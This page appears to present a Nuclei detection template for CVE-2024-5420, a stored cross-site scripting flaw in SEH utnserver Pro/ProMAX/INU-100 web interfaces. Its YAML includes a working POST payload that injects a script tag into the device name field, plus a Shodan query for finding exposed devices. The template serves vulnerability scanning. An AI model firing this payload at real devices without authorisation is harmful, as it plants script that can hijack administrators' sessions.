SEH utnserver Pro/ProMAX/INU-100 20.1.22 - Cross-Site Scripting

ID: CVE-2024-5420

Severity: high

Author: bl4ckp4r4d1s3

Tags: cve,cve2024,utnserver,seh,xss,seclists

Description

A vulnerability was found in utnserver Pro, utnserver ProMAX, and INU-100 version 20.1.22 and earlier, affecting the device description parameter in the web interface. This flaw allows stored cross-site scripting (XSS), enabling attackers to inject JavaScript code. The attack can be executed remotely by tricking victims into visiting a malicious website, potentially leading to session hijacking. This vulnerability is publicly disclosed and identified as CVE-2024-5420.

YAML Source

id: CVE-2024-5420

info:
  name: SEH utnserver Pro/ProMAX/INU-100 20.1.22 - Cross-Site Scripting
  author: bl4ckp4r4d1s3
  severity: high
  description: |
    A vulnerability was found in utnserver Pro, utnserver ProMAX, and INU-100 version 20.1.22 and earlier, affecting the device description parameter in the web interface. This flaw allows stored cross-site scripting (XSS), enabling attackers to inject JavaScript code. The attack can be executed remotely by tricking victims into visiting a malicious website, potentially leading to session hijacking. This vulnerability is publicly disclosed and identified as CVE-2024-5420.
  reference:
    - https://cyberdanube.com/en/en-multiple-vulnerabilities-in-seh-untserver-pro/index.html
    - https://seclists.org/fulldisclosure/2024/Jun/4
    - https://nvd.nist.gov/vuln/detail/CVE-2024-5420
    - http://seclists.org/fulldisclosure/2024/Jun/4
    - https://cyberdanube.com/en/en-multiple-vulnerabilities-in-oring-iap420/index.html
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:L
    cvss-score: 8.3
    cve-id: CVE-2024-5420
    cwe-id: CWE-79
    epss-score: 0.00043
    epss-percentile: 0.09509
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"utnserver Control Center"
  tags: cve,cve2024,utnserver,seh,xss,seclists

http:
  - raw:
      - |
        POST /device/description_en.html HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=set&sys_name=%E2%80%9C%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&sys_descr=&sys_contact=

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'value="“><script>alert(document.domain)</script>" id="standort"'
          - 'Host name</label>'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a0047304502203772586ff20e023e3628c921632bd249346687b77f949d58ff614a43503db731022100932179c4dbe46d15808e70bc7390e3a2c4cd1c40a71e9c3ee0d455769e6ca33a:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-5420.yaml"

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